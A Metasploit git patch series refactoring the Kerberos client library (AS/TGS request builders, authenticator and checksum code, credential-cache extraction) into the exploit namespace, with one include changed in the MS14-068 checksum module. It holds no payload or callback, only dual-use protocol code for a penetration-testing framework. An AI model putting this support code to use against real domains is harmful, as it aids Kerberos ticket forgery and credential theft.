Rex::Proto::Kerberos::Model::PreAuthData.new( + type: Rex::Proto::Kerberos::Model::PA_TGS_REQ, + value: ap_req.encode + ) - checksum + pa_data = [] + pa_data.push(pa_ap_req) + if opts[:pa_data] + opts[:pa_data].each { |pa| pa_data.push(pa) } end + + request = Rex::Proto::Kerberos::Model::KdcRequest.new( + pvno: 5, + msg_type: Rex::Proto::Kerberos::Model::TGS_REQ, + pa_data: pa_data, + req_body: body + ) + + request + end + + # Builds the encrypted TGS authorization data + # + # @param opts [Hash{Symbol => }] + # @option opts [Rex::Proto::Kerberos::Model::AuthorizationData] :auth_data + # @option opts [Rex::Proto::Kerberos::Model::EncryptionKey] :subkey + # @return [Rex::Proto::Kerberos::Model::EncryptedData] + # @raise [RuntimeError] if auth_data option isn't provided + # @see Rex::Proto::Kerberos::Model::AuthorizationData + # @see Rex::Proto::Kerberos::Model::EncryptionKey + # @see Rex::Proto::Kerberos::Model::EncryptedData + def build_enc_auth_data(opts = {}) + auth_data = opts[:auth_data] + + if auth_data.nil? + raise ::RuntimeError, 'auth_data option required on #build_enc_auth_data' + end + + subkey = opts[:subkey] || build_subkey(opts) + + encrypted = auth_data.encrypt(subkey.type, subkey.value) + + e_data = Rex::Proto::Kerberos::Model::EncryptedData.new( + etype: subkey.type, + cipher: encrypted + ) + + e_data + end + + # Builds a KRB_AP_REQ message + # + # @param opts [Hash{Symbol => }] + # @option opts [Fixnum] :pvno + # @option opts [Fixnum] :msg_type + # @option opts [Fixnum] :ap_req_options + # @option opts [Rex::Proto::Kerberos::Model::Ticket] :ticket + # @option opts [Rex::Proto::Kerberos::Model::EncryptedData] :authenticator + # @option opts [Rex::Proto::Kerberos::Model::EncryptionKey] :session_key + # @return [Rex::Proto::Kerberos::Model::EncryptionKey] + # @raise [RuntimeError] if ticket option isn't provided + # @see Rex::Proto::Kerberos::Model::Ticket + # @see Rex::Proto::Kerberos::Model::EncryptedData + # @see Rex::Proto::Kerberos::Model::EncryptionKey + def build_ap_req(opts = {}) + pvno = opts[:pvno] || Rex::Proto::Kerberos::Model::VERSION + msg_type = opts[:msg_type] || Rex::Proto::Kerberos::Model::AP_REQ + options = opts[:ap_req_options] || 0 + ticket = opts[:ticket] + authenticator = opts[:authenticator] || build_authenticator(opts) + session_key = opts[:session_key] || build_subkey(opts) + + if ticket.nil? + raise ::RuntimeError, 'Building a AP-REQ without ticket not supported' + end + + enc_authenticator = Rex::Proto::Kerberos::Model::EncryptedData.new( + etype: session_key.type, + cipher: authenticator.encrypt(session_key.type, session_key.value) + ) + + ap_req = Rex::Proto::Kerberos::Model::ApReq.new( + pvno: pvno, + msg_type: msg_type, + options: options, + ticket: ticket, + authenticator: enc_authenticator + ) + + ap_req + end + + # Builds a kerberos authenticator for a TGS request + # + # @param opts [Hash{Symbol => }] + # @option opts [Rex::Proto::Kerberos::Model::PrincipalName] :cname + # @option opts [String] :realm + # @option opts [Time] :ctime + # @option opts [Fixnum] :cusec + # @option opts [Rex::Proto::Kerberos::Model::Checksum] :checksum + # @option opts [Rex::Proto::Kerberos::Model::EncryptionKey] :subkey + # @return [Rex::Proto::Kerberos::Model::Authenticator] + # @see Rex::Proto::Kerberos::Model::PrincipalName + # @see Rex::Proto::Kerberos::Model::Checksum + # @see Rex::Proto::Kerberos::Model::EncryptionKey + # @see Rex::Proto::Kerberos::Model::Authenticator + def build_authenticator(opts = {}) + cname = opts[:cname] || build_client_name(opts) + realm = opts[:realm] || '' + ctime = opts[:ctime] || Time.now + cusec = opts[:cusec] || ctime.usec + checksum = opts[:checksum] || build_tgs_body_checksum(opts) + subkey = opts[:subkey] || build_subkey(opts) + + authenticator = Rex::Proto::Kerberos::Model::Authenticator.new( + vno: 5, + crealm: realm, + cname: cname, + checksum: checksum, + cusec: cusec, + ctime: ctime, + subkey: subkey + ) + + authenticator + end + + # Builds an encryption key to protect the data sent in the TGS request. + # + # @param opts [Hash{Symbol => }] + # @option opts [Fixnum] :subkey_type + # @option opts [String] :subkey_value + # @return [Rex::Proto::Kerberos::Model::EncryptionKey] + # @see Rex::Proto::Kerberos::Model::EncryptionKey + def build_subkey(opts={}) + subkey_type = opts[:subkey_type] || Rex::Proto::Kerberos::Crypto::RC4_HMAC + subkey_value = opts[:subkey_value] || Rex::Text.rand_text(16) + + subkey = Rex::Proto::Kerberos::Model::EncryptionKey.new( + type: subkey_type, + value: subkey_value + ) + + subkey + end + + + # Builds a kerberos TGS request body + # + # @param opts [Hash{Symbol => }] + # @option opts [Fixnum] :options + # @option opts [Time] :from + # @option opts [Time] :till + # @option opts [Time] :rtime + # @option opts [Fixnum] :nonce + # @option opts [Fixnum] :etype + # @option opts [Rex::Proto::Kerberos::Model::PrincipalName] :cname + # @option opts [String] :realm + # @option opts [Rex::Proto::Kerberos::Model::PrincipalName] :sname + # @option opts [Rex::Proto::Kerberos::Model::EncryptedData] :enc_auth_data + # @return [Rex::Proto::Kerberos::Model::KdcRequestBody] + # @see Rex::Proto::Kerberos::Model::PrincipalName + # @see Rex::Proto::Kerberos::Model::KdcRequestBody + def build_tgs_request_body(opts = {}) + options = opts[:options] || 0x50800000 # Forwardable, Proxiable, Renewable + from = opts[:from] || Time.utc('1970-01-01-01 00:00:00') + till = opts[:till] || Time.utc('1970-01-01-01 00:00:00') + rtime = opts[:rtime] || Time.utc('1970-01-01-01 00:00:00') + nonce = opts[:nonce] || Rex::Text.rand_text_numeric(6).to_i + etype = opts[:etype] || [Rex::Proto::Kerberos::Crypto::RC4_HMAC] + cname = opts[:cname] || build_client_name(opts) + realm = opts[:realm] || '' + sname = opts[:sname] || build_server_name(opts) + enc_auth_data = opts[:enc_auth_data] || nil + + body = Rex::Proto::Kerberos::Model::KdcRequestBody.new( + options: options, + cname: cname, + realm: realm, + sname: sname, + from: from, + till: till, + rtime: rtime, + nonce: nonce, + etype: etype, + enc_auth_data: enc_auth_data + ) + + body + end + + # Builds a Kerberos TGS Request body checksum + # + # @param opts [Hash{Symbol => }] + # @option opts [Rex::Proto::Kerberos::Model::KdcRequestBody] :body + # @return [Rex::Proto::Kerberos::Model::Checksum] + # @see #build_tgs_request_body + # @see Rex::Proto::Kerberos::Model::Checksum + def build_tgs_body_checksum(opts = {}) + body = opts[:body] || build_tgs_request_body(opts) + checksum_body = body.checksum(Rex::Proto::Kerberos::Crypto::RSA_MD5) + checksum = Rex::Proto::Kerberos::Model::Checksum.new( + type: 7, + checksum: checksum_body + ) + + checksum end end end diff --git a/lib/msf/core/exploit/kerberos/client/tgs_response.rb b/lib/msf/core/exploit/kerberos/client/tgs_response.rb index 597553167a..16d26f7e32 100644 --- a/lib/msf/core/exploit/kerberos/client/tgs_response.rb +++ b/lib/msf/core/exploit/kerberos/client/tgs_response.rb @@ -1,73 +1,71 @@ # -*- coding: binary -*- require 'rex/proto/kerberos' -module Msf - module Kerberos - module Client - module TgsResponse +module Msf::Exploit::Remote::Kerberos + module Client + module TgsResponse - # Extracts the Kerberos credentials, buildint a MIT Cache Credential, - # from a Kerberos TGS response. - # - # @param res [Rex::Proto::Kerberos::Model::KdcResponse] - # @param key [String] - # @return [Rex::Proto::Kerberos::CredentialCache::Cache] - # @see Rex::Proto::Kerberos::Model::EncKdcResponse - # @see Rex::Proto::Kerberos::Model::EncKdcResponse.decode - # @see Msf::Kerberos::Client::CacheCredential - # @see Rex::Proto::Kerberos::CredentialCache::Cache - def extract_kerb_creds(res, key) - decrypt_res = res.enc_part.decrypt(key, Rex::Proto::Kerberos::Crypto::ENC_TGS_RESPONSE) - enc_res = Rex::Proto::Kerberos::Model::EncKdcResponse.decode(decrypt_res) + # Extracts the Kerberos credentials, buildint a MIT Cache Credential, + # from a Kerberos TGS response. + # + # @param res [Rex::Proto::Kerberos::Model::KdcResponse] + # @param key [String] + # @return [Rex::Proto::Kerberos::CredentialCache::Cache] + # @see Rex::Proto::Kerberos::Model::EncKdcResponse + # @see Rex::Proto::Kerberos::Model::EncKdcResponse.decode + # @see Msf::Kerberos::Client::CacheCredential + # @see Rex::Proto::Kerberos::CredentialCache::Cache + def extract_kerb_creds(res, key) + decrypt_res = res.enc_part.decrypt(key, Rex::Proto::Kerberos::Crypto::ENC_TGS_RESPONSE) + enc_res = Rex::Proto::Kerberos::Model::EncKdcResponse.decode(decrypt_res) - client = create_cache_principal( - name_type: res.cname.name_type, - realm: res.crealm, - components: res.cname.name_string - ) + client = create_cache_principal( + name_type: res.cname.name_type, + realm: res.crealm, + components: res.cname.name_string + ) - server = create_cache_principal( - name_type: enc_res.sname.name_type, - realm: enc_res.srealm, - components: enc_res.sname.name_string - ) + server = create_cache_principal( + name_type: enc_res.sname.name_type, + realm: enc_res.srealm, + components: enc_res.sname.name_string + ) - key = create_cache_key_block( - key_type: enc_res.key.type, - key_value: enc_res.key.value - ) + key = create_cache_key_block( + key_type: enc_res.key.type, + key_value: enc_res.key.value + ) - times = create_cache_times( - auth_time: enc_res.auth_time, - start_time: enc_res.start_time, - end_time: enc_res.end_time, - renew_till: enc_res.renew_till - ) + times = create_cache_times( + auth_time: enc_res.auth_time, + start_time: enc_res.start_time, + end_time: enc_res.end_time, + renew_till: enc_res.renew_till + ) - credential = create_cache_credential( - client: client, - server: server, - key: key, - time: times, - ticket: res.ticket.encode, - flags: enc_res.flags - ) + credential = create_cache_credential( + client: client, + server: server, + key: key, + time: times, + ticket: res.ticket.encode, + flags: enc_res.flags + ) - cache_principal = create_cache_principal( - name_type: res.cname.name_type, # NT_PRINCIPAL - #realm: realm,# opts[:realm], - realm: res.crealm, - #components: user # [opts[:cname]] - components: res.cname.name_string - ) + cache_principal = create_cache_principal( + name_type: res.cname.name_type, # NT_PRINCIPAL + #realm: realm,# opts[:realm], + realm: res.crealm, + #components: user # [opts[:cname]] + components: res.cname.name_string + ) - cache = create_cache( - primary_principal: cache_principal, - credentials: [credential] - ) + cache = create_cache( + primary_principal: cache_principal, + credentials: [credential] + ) - cache - end + cache end end end diff --git a/lib/msf/core/exploit/mixins.rb b/lib/msf/core/exploit/mixins.rb index a575d03a83..88c3c1f60e 100644 --- a/lib/msf/core/exploit/mixins.rb +++ b/lib/msf/core/exploit/mixins.rb @@ -105,3 +105,6 @@ require 'msf/core/exploit/android' # Browser Exploit Server require 'msf/core/exploit/remote/browser_exploit_server' require 'msf/core/exploit/browser_autopwn2' + +# Kerberos Support +require 'msf/core/exploit/kerberos/client' diff --git a/modules/auxiliary/admin/kerberos/ms14_068_kerberos_checksum.rb b/modules/auxiliary/admin/kerberos/ms14_068_kerberos_checksum.rb index c003cd11e4..6c8f0d29c3 100644 --- a/modules/auxiliary/admin/kerberos/ms14_068_kerberos_checksum.rb +++ b/modules/auxiliary/admin/kerberos/ms14_068_kerberos_checksum.rb @@ -9,7 +9,7 @@ require 'rex' class Metasploit4 < Msf::Auxiliary include Msf::Auxiliary::Report - include Msf::Kerberos::Client + include Msf::Exploit::Remote::Kerberos::Client def initialize(info = {}) super(update_info(info, From fa9a33cae8c99df317df329f3e558594e97abfbd Mon Sep 17 00:00:00 2001 From: jvazquez-r7 Date: Thu, 15 Oct 2015 09:19:43 -0500 Subject: [PATCH 0903/2172] Move specs to the correct folder --- .../lib/msf/{ => core/exploit}/kerberos/client/as_request_spec.rb | 0 .../msf/{ => core/exploit}/kerberos/client/as_response_spec.rb | 0 spec/lib/msf/{ => core/exploit}/kerberos/client/base_spec.rb | 0 .../{ => core/exploit}/kerberos/client/cache_credential_spec.rb | 0 spec/lib/msf/{ => core/exploit}/kerberos/client/pac_spec.rb | 0 .../msf/{ => core/exploit}/kerberos/client/tgs_request_spec.rb | 0 .../msf/{ => core/exploit}/kerberos/client/tgs_response_spec.rb | 0 7 files changed, 0 insertions(+), 0 deletions(-) rename spec/lib/msf/{ => core/exploit}/kerberos/client/as_request_spec.rb (100%) rename spec/lib/msf/{ => core/exploit}/kerberos/client/as_response_spec.rb (100%) rename spec/lib/msf/{ => core/exploit}/kerberos/client/base_spec.rb (100%) rename spec/lib/msf/{ => core/exploit}/kerberos/client/cache_credential_spec.rb (100%) rename spec/lib/msf/{ => core/exploit}/kerberos/client/pac_spec.rb (100%) rename spec/lib/msf/{ => core/exploit}/kerberos/client/tgs_request_spec.rb (100%) rename spec/lib/msf/{ => core/exploit}/kerberos/client/tgs_response_spec.rb (100%) diff --git a/spec/lib/msf/kerberos/client/as_request_spec.rb b/spec/lib/msf/core/exploit/kerberos/client/as_request_spec.rb similarity index 100% rename from spec/lib/msf/kerberos/client/as_request_spec.rb rename to spec/lib/msf/core/exploit/kerberos/client/as_request_spec.rb diff --git a/spec/lib/msf/kerberos/client/as_response_spec.rb b/spec/lib/msf/core/exploit/kerberos/client/as_response_spec.rb similarity index 100% rename from spec/lib/msf/kerberos/client/as_response_spec.rb rename to spec/lib/msf/core/exploit/kerberos/client/as_response_spec.rb diff --git a/spec/lib/msf/kerberos/client/base_spec.rb b/spec/lib/msf/core/exploit/kerberos/client/base_spec.rb similarity index 100% rename from spec/lib/msf/kerberos/client/base_spec.rb rename to spec/lib/msf/core/exploit/kerberos/client/base_spec.rb diff --git a/spec/lib/msf/kerberos/client/cache_credential_spec.rb b/spec/lib/msf/core/exploit/kerberos/client/cache_credential_spec.rb similarity index 100% rename from spec/lib/msf/kerberos/client/cache_credential_spec.rb rename to spec/lib/msf/core/exploit/kerberos/client/cache_credential_spec.rb diff --git a/spec/lib/msf/kerberos/client/pac_spec.rb b/spec/lib/msf/core/exploit/kerberos/client/pac_spec.rb similarity index 100% rename from spec/lib/msf/kerberos/client/pac_spec.rb rename to spec/lib/msf/core/exploit/kerberos/client/pac_spec.rb diff --git a/spec/lib/msf/kerberos/client/tgs_request_spec.rb b/spec/lib/msf/core/exploit/kerberos/client/tgs_request_spec.rb similarity index 100% rename from spec/lib/msf/kerberos/client/tgs_request_spec.rb rename to spec/lib/msf/core/exploit/kerberos/client/tgs_request_spec.rb diff --git a/spec/lib/msf/kerberos/client/tgs_response_spec.rb b/spec/lib/msf/core/exploit/kerberos/client/tgs_response_spec.rb similarity index 100% rename from spec/lib/msf/kerberos/client/tgs_response_spec.rb rename to spec/lib/msf/core/exploit/kerberos/client/tgs_response_spec.rb From 8057b3edae517544bcaf7a4309480d5ed35345ab Mon Sep 17 00:00:00 2001 From: jvazquez-r7 Date: Thu, 15 Oct 2015 09:40:39 -0500 Subject: [PATCH 0904/2172] Fix specs to pass again --- lib/msf/core/exploit/kerberos/client.rb | 240 ++++---- .../exploit/kerberos/client/as_request.rb | 189 ++++--- .../exploit/kerberos/client/as_response.rb | 71 +-- lib/msf/core/exploit/kerberos/client/base.rb | 70 +-- .../kerberos/client/cache_credential.rb | 254 +++++---- lib/msf/core/exploit/kerberos/client/pac.rb | 205 +++---- .../exploit/kerberos/client/tgs_request.rb | 528 +++++++++--------- .../exploit/kerberos/client/tgs_response.rb | 118 ++-- .../kerberos/client/as_request_spec.rb | 6 +- .../kerberos/client/as_response_spec.rb | 6 +- .../core/exploit/kerberos/client/base_spec.rb | 6 +- .../kerberos/client/cache_credential_spec.rb | 6 +- .../core/exploit/kerberos/client/pac_spec.rb | 6 +- .../kerberos/client/tgs_request_spec.rb | 6 +- .../kerberos/client/tgs_response_spec.rb | 6 +- 15 files changed, 881 insertions(+), 836 deletions(-) diff --git a/lib/msf/core/exploit/kerberos/client.rb b/lib/msf/core/exploit/kerberos/client.rb index b6e5432ae2..3a6e7d36fb 100644 --- a/lib/msf/core/exploit/kerberos/client.rb +++ b/lib/msf/core/exploit/kerberos/client.rb @@ -1,137 +1,143 @@ # -*- coding: binary -*- require 'rex/proto/kerberos' -module Msf::Exploit::Remote::Kerberos - module Client - require 'msf/core/exploit/kerberos/client/base' - require 'msf/core/exploit/kerberos/client/as_request' - require 'msf/core/exploit/kerberos/client/as_response' - require 'msf/core/exploit/kerberos/client/tgs_request' - require 'msf/core/exploit/kerberos/client/tgs_response' - require 'msf/core/exploit/kerberos/client/pac' - require 'msf/core/exploit/kerberos/client/cache_credential' +module Msf + class Exploit + class Remote + module Kerberos + module Client + require 'msf/core/exploit/kerberos/client/base' + require 'msf/core/exploit/kerberos/client/as_request' + require 'msf/core/exploit/kerberos/client/as_response' + require 'msf/core/exploit/kerberos/client/tgs_request' + require 'msf/core/exploit/kerberos/client/tgs_response' + require 'msf/core/exploit/kerberos/client/pac' + require 'msf/core/exploit/kerberos/client/cache_credential' - include Msf::Exploit::Remote::Kerberos::Client::Base - include Msf::Exploit::Remote::Kerberos::Client::AsRequest - include Msf::Exploit::Remote::Kerberos::Client::AsResponse - include Msf::Exploit::Remote::Kerberos::Client::TgsRequest - include Msf::Exploit::Remote::Kerberos::Client::TgsResponse - include Msf::Exploit::Remote::Kerberos::Client::Pac - include Msf::Exploit::Remote::Kerberos::Client::CacheCredential + include Msf::Exploit::Remote::Kerberos::Client::Base + include Msf::Exploit::Remote::Kerberos::Client::AsRequest + include Msf::Exploit::Remote::Kerberos::Client::AsResponse + include Msf::Exploit::Remote::Kerberos::Client::TgsRequest + include Msf::Exploit::Remote::Kerberos::Client::TgsResponse + include Msf::Exploit::Remote::Kerberos::Client::Pac + include Msf::Exploit::Remote::Kerberos::Client::CacheCredential - # @!attribute client - # @return [Rex::Proto::Kerberos::Client] The kerberos client - attr_accessor :client + # @!attribute client + # @return [Rex::Proto::Kerberos::Client] The kerberos client + attr_accessor :client - def initialize(info = {}) - super + def initialize(info = {}) + super - register_options( - [ - Opt::RHOST, - Opt::RPORT(88), - OptInt.new('Timeout', [true, 'The TCP timeout to establish connection and read data', 10]) - ], self.class - ) - end + register_options( + [ + Opt::RHOST, + Opt::RPORT(88), + OptInt.new('Timeout', [true, 'The TCP timeout to establish connection and read data', 10]) + ], self.class + ) + end - # Returns the target host - # - # @return [String] - def rhost - datastore['RHOST'] - end + # Returns the target host + # + # @return [String] + def rhost + datastore['RHOST'] + end - # Returns the remote port - # - # @return [Fixnum] - def rport - datastore['RPORT'] - end + # Returns the remote port + # + # @return [Fixnum] + def rport + datastore['RPORT'] + end - # Returns the TCP timeout - # - # @return [Fixnum] - def timeout - datastore['Timeout'] - end + # Returns the TCP timeout + # + # @return [Fixnum] + def timeout + datastore['Timeout'] + end - # Returns the kdc peer - # - # @return [String] - def peer - "#{rhost}:#{rport}" - end + # Returns the kdc peer + # + # @return [String] + def peer + "#{rhost}:#{rport}" + end - # Creates a kerberos connection - # - # @param opts [Hash{Symbol => }] - # @option opts [String] :rhost - # @option opts [] :rport - # @return [Rex::Proto::Kerberos::Client] - def connect(opts={}) - kerb_client = Rex::Proto::Kerberos::Client.new( - host: opts[:rhost] || rhost, - port: (opts[:rport] || rport).to_i, - timeout: (opts[:timeout] || timeout).to_i, - context: - { - 'Msf' => framework, - 'MsfExploit' => self, - }, - protocol: 'tcp' - ) + # Creates a kerberos connection + # + # @param opts [Hash{Symbol => }] + # @option opts [String] :rhost + # @option opts [] :rport + # @return [Rex::Proto::Kerberos::Client] + def connect(opts={}) + kerb_client = Rex::Proto::Kerberos::Client.new( + host: opts[:rhost] || rhost, + port: (opts[:rport] || rport).to_i, + timeout: (opts[:timeout] || timeout).to_i, + context: + { + 'Msf' => framework, + 'MsfExploit' => self, + }, + protocol: 'tcp' + ) - disconnect if client - self.client = kerb_client + disconnect if client + self.client = kerb_client - kerb_client - end + kerb_client + end - # Disconnects the Kerberos client - # - # @param kerb_client [Rex::Proto::Kerberos::Client] the client to disconnect - def disconnect(kerb_client = client) - kerb_client.close if kerb_client + # Disconnects the Kerberos client + # + # @param kerb_client [Rex::Proto::Kerberos::Client] the client to disconnect + def disconnect(kerb_client = client) + kerb_client.close if kerb_client - if kerb_client == client - self.client = nil + if kerb_client == client + self.client = nil + end + end + + # Performs cleanup as necessary, disconnecting the Kerberos client + # if it's still established. + def cleanup + super + disconnect + end + + # Sends a kerberos AS request and reads the response + # + # @param opts [Hash] + # @return [Rex::Proto::Kerberos::Model::KdcResponse] + # @see Msf::Kerberos::Client::AsRequest#build_as_request + # @see Rex::Proto::Kerberos::Model::KdcResponse + def send_request_as(opts = {}) + connect(opts) + req = build_as_request(opts) + res = client.send_recv(req) + disconnect + res + end + + # Sends a kerberos AS request and reads the response + # + # @param opts [Hash] + # @return [Rex::Proto::Kerberos::Model::KdcResponse] + # @see Msf::Kerberos::Client::TgsRequest#build_tgs_request + # @see Rex::Proto::Kerberos::Model::KdcResponse + def send_request_tgs(opts = {}) + connect(opts) + req = build_tgs_request(opts) + res = client.send_recv(req) + disconnect + res + end + end end end - - # Performs cleanup as necessary, disconnecting the Kerberos client - # if it's still established. - def cleanup - super - disconnect - end - - # Sends a kerberos AS request and reads the response - # - # @param opts [Hash] - # @return [Rex::Proto::Kerberos::Model::KdcResponse] - # @see Msf::Kerberos::Client::AsRequest#build_as_request - # @see Rex::Proto::Kerberos::Model::KdcResponse - def send_request_as(opts = {}) - connect(opts) - req = build_as_request(opts) - res = client.send_recv(req) - disconnect - res - end - - # Sends a kerberos AS request and reads the response - # - # @param opts [Hash] - # @return [Rex::Proto::Kerberos::Model::KdcResponse] - # @see Msf::Kerberos::Client::TgsRequest#build_tgs_request - # @see Rex::Proto::Kerberos::Model::KdcResponse - def send_request_tgs(opts = {}) - connect(opts) - req = build_tgs_request(opts) - res = client.send_recv(req) - disconnect - res - end end end diff --git a/lib/msf/core/exploit/kerberos/client/as_request.rb b/lib/msf/core/exploit/kerberos/client/as_request.rb index 8d3a6ac8eb..62f2dc4593 100644 --- a/lib/msf/core/exploit/kerberos/client/as_request.rb +++ b/lib/msf/core/exploit/kerberos/client/as_request.rb @@ -1,108 +1,113 @@ # -*- coding: binary -*- require 'rex/proto/kerberos' -module Msf::Exploit::Remote::Kerberos - module Client - module AsRequest +module Msf + class Exploit + class Remote + module Kerberos + module Client + module AsRequest + # Builds a kerberos AS request + # + # @param opts [Hash{Symbol => , Rex::Proto::Kerberos::Model::KdcRequestBody>}] + # @option opts [Array] :pa_data + # @option opts [Rex::Proto::Kerberos::Model::KdcRequestBody] :body + # @return [Rex::Proto::Kerberos::Model::KdcRequest] + # @see [Rex::Proto::Kerberos::Model::KdcRequest] + # @see #build_as_pa_time_stamp + # @see #build_as_request_body + def build_as_request(opts = {}) + pa_data = opts[:pa_data] || build_as_pa_time_stamp(opts) + body = opts[:body] || build_as_request_body(opts) - # Builds a kerberos AS request - # - # @param opts [Hash{Symbol => , Rex::Proto::Kerberos::Model::KdcRequestBody>}] - # @option opts [Array] :pa_data - # @option opts [Rex::Proto::Kerberos::Model::KdcRequestBody] :body - # @return [Rex::Proto::Kerberos::Model::KdcRequest] - # @see [Rex::Proto::Kerberos::Model::KdcRequest] - # @see #build_as_pa_time_stamp - # @see #build_as_request_body - def build_as_request(opts = {}) - pa_data = opts[:pa_data] || build_as_pa_time_stamp(opts) - body = opts[:body] || build_as_request_body(opts) + request = Rex::Proto::Kerberos::Model::KdcRequest.new( + pvno: 5, + msg_type: Rex::Proto::Kerberos::Model::AS_REQ, + pa_data: pa_data, + req_body: body + ) - request = Rex::Proto::Kerberos::Model::KdcRequest.new( - pvno: 5, - msg_type: Rex::Proto::Kerberos::Model::AS_REQ, - pa_data: pa_data, - req_body: body - ) + request + end - request - end + # Builds a kerberos PA-ENC-TIMESTAMP pre authenticated structure + # + # @param opts [Hash{Symbol => }] + # @option opts [Time] :time_stamp + # @option opts [Fixnum] :pausec + # @option opts [Fixnum] :etype + # @option opts [String] :key + # @return [Rex::Proto::Kerberos::Model::PreAuthData] + # @see Rex::Proto::Kerberos::Model::PreAuthEncTimeStamp + # @see Rex::Proto::Kerberos::Model::EncryptedData + # @see Rex::Proto::Kerberos::Model::PreAuthData + def build_as_pa_time_stamp(opts = {}) + time_stamp = opts[:time_stamp] || Time.now + pausec = opts[:pausec] || 0 + etype = opts[:etype] || Rex::Proto::Kerberos::Crypto::RC4_HMAC + key = opts[:key] || '' - # Builds a kerberos PA-ENC-TIMESTAMP pre authenticated structure - # - # @param opts [Hash{Symbol => }] - # @option opts [Time] :time_stamp - # @option opts [Fixnum] :pausec - # @option opts [Fixnum] :etype - # @option opts [String] :key - # @return [Rex::Proto::Kerberos::Model::PreAuthData] - # @see Rex::Proto::Kerberos::Model::PreAuthEncTimeStamp - # @see Rex::Proto::Kerberos::Model::EncryptedData - # @see Rex::Proto::Kerberos::Model::PreAuthData - def build_as_pa_time_stamp(opts = {}) - time_stamp = opts[:time_stamp] || Time.now - pausec = opts[:pausec] || 0 - etype = opts[:etype] || Rex::Proto::Kerberos::Crypto::RC4_HMAC - key = opts[:key] || '' + pa_time_stamp = Rex::Proto::Kerberos::Model::PreAuthEncTimeStamp.new( + pa_time_stamp: time_stamp, + pausec: pausec + ) - pa_time_stamp = Rex::Proto::Kerberos::Model::PreAuthEncTimeStamp.new( - pa_time_stamp: time_stamp, - pausec: pausec - ) + enc_time_stamp = Rex::Proto::Kerberos::Model::EncryptedData.new( + etype: etype, + cipher: pa_time_stamp.encrypt(etype, key) + ) - enc_time_stamp = Rex::Proto::Kerberos::Model::EncryptedData.new( - etype: etype, - cipher: pa_time_stamp.encrypt(etype, key) - ) + pa_enc_time_stamp = Rex::Proto::Kerberos::Model::PreAuthData.new( + type: Rex::Proto::Kerberos::Model::PA_ENC_TIMESTAMP, + value: enc_time_stamp.encode + ) - pa_enc_time_stamp = Rex::Proto::Kerberos::Model::PreAuthData.new( - type: Rex::Proto::Kerberos::Model::PA_ENC_TIMESTAMP, - value: enc_time_stamp.encode - ) + pa_enc_time_stamp + end - pa_enc_time_stamp - end + # Builds a kerberos AS request body + # + # @param opts [Hash{Symbol => }] + # @option opts [Fixnum] :options + # @option opts [Time] :from + # @option opts [Time] :till + # @option opts [Time] :rtime + # @option opts [Fixnum] :nonce + # @option opts [Fixnum] :etype + # @option opts [Rex::Proto::Kerberos::Model::PrincipalName] :cname + # @option opts [String] :realm + # @option opts [Rex::Proto::Kerberos::Model::PrincipalName] :sname + # @return [Rex::Proto::Kerberos::Model::KdcRequestBody] + # @see #build_client_name + # @see #build_server_name + # @see Rex::Proto::Kerberos::Model::KdcRequestBody + def build_as_request_body(opts = {}) + options = opts[:options] || 0x50800000 # Forwardable, Proxiable, Renewable + from = opts[:from] || Time.utc('1970-01-01-01 00:00:00') + till = opts[:till] || Time.utc('1970-01-01-01 00:00:00') + rtime = opts[:rtime] || Time.utc('1970-01-01-01 00:00:00') + nonce = opts[:nonce] || Rex::Text.rand_text_numeric(6).to_i + etype = opts[:etype] || [Rex::Proto::Kerberos::Crypto::RC4_HMAC] + cname = opts[:cname] || build_client_name(opts) + realm = opts[:realm] || '' + sname = opts[:sname] || build_server_name(opts) - # Builds a kerberos AS request body - # - # @param opts [Hash{Symbol => }] - # @option opts [Fixnum] :options - # @option opts [Time] :from - # @option opts [Time] :till - # @option opts [Time] :rtime - # @option opts [Fixnum] :nonce - # @option opts [Fixnum] :etype - # @option opts [Rex::Proto::Kerberos::Model::PrincipalName] :cname - # @option opts [String] :realm - # @option opts [Rex::Proto::Kerberos::Model::PrincipalName] :sname - # @return [Rex::Proto::Kerberos::Model::KdcRequestBody] - # @see #build_client_name - # @see #build_server_name - # @see Rex::Proto::Kerberos::Model::KdcRequestBody - def build_as_request_body(opts = {}) - options = opts[:options] || 0x50800000 # Forwardable, Proxiable, Renewable - from = opts[:from] || Time.utc('1970-01-01-01 00:00:00') - till = opts[:till] || Time.utc('1970-01-01-01 00:00:00') - rtime = opts[:rtime] || Time.utc('1970-01-01-01 00:00:00') - nonce = opts[:nonce] || Rex::Text.rand_text_numeric(6).to_i - etype = opts[:etype] || [Rex::Proto::Kerberos::Crypto::RC4_HMAC] - cname = opts[:cname] || build_client_name(opts) - realm = opts[:realm] || '' - sname = opts[:sname] || build_server_name(opts) + body = Rex::Proto::Kerberos::Model::KdcRequestBody.new( + options: options, + cname: cname, + realm: realm, + sname: sname, + from: from, + till: till, + rtime: rtime, + nonce: nonce, + etype: etype + ) - body = Rex::Proto::Kerberos::Model::KdcRequestBody.new( - options: options, - cname: cname, - realm: realm, - sname: sname, - from: from, - till: till, - rtime: rtime, - nonce: nonce, - etype: etype - ) - - body + body + end + end + end end end end diff --git a/lib/msf/core/exploit/kerberos/client/as_response.rb b/lib/msf/core/exploit/kerberos/client/as_response.rb index b954fd3329..3ebd852422 100644 --- a/lib/msf/core/exploit/kerberos/client/as_response.rb +++ b/lib/msf/core/exploit/kerberos/client/as_response.rb @@ -1,43 +1,48 @@ # -*- coding: binary -*- require 'rex/proto/kerberos' -module Msf::Exploit::Remote::Kerberos - module Client - module AsResponse +module Msf + class Exploit + class Remote + module Kerberos + module Client + module AsResponse + # Extracts the session key from a Kerberos AS Response + # + # @param res [Rex::Proto::Kerberos::Model::KdcResponse] + # @param key [String] + # @return [Rex::Proto::Kerberos::Model::EncryptionKey] + # @see Rex::Proto::Kerberos::Model::KdcResponse + # @see Rex::Proto::Kerberos::Model::EncryptedData.decrypt + # @see Rex::Proto::Kerberos::Model::EncKdcResponse + # @see Rex::Proto::Kerberos::Model::EncKdcResponse.decode + # @see Rex::Proto::Kerberos::Model::EncryptionKey + def extract_session_key(res, key) + decrypt_res = res.enc_part.decrypt(key, Rex::Proto::Kerberos::Crypto::ENC_AS_RESPONSE) + enc_kdc_res = Rex::Proto::Kerberos::Model::EncKdcResponse.decode(decrypt_res) - # Extracts the session key from a Kerberos AS Response - # - # @param res [Rex::Proto::Kerberos::Model::KdcResponse] - # @param key [String] - # @return [Rex::Proto::Kerberos::Model::EncryptionKey] - # @see Rex::Proto::Kerberos::Model::KdcResponse - # @see Rex::Proto::Kerberos::Model::EncryptedData.decrypt - # @see Rex::Proto::Kerberos::Model::EncKdcResponse - # @see Rex::Proto::Kerberos::Model::EncKdcResponse.decode - # @see 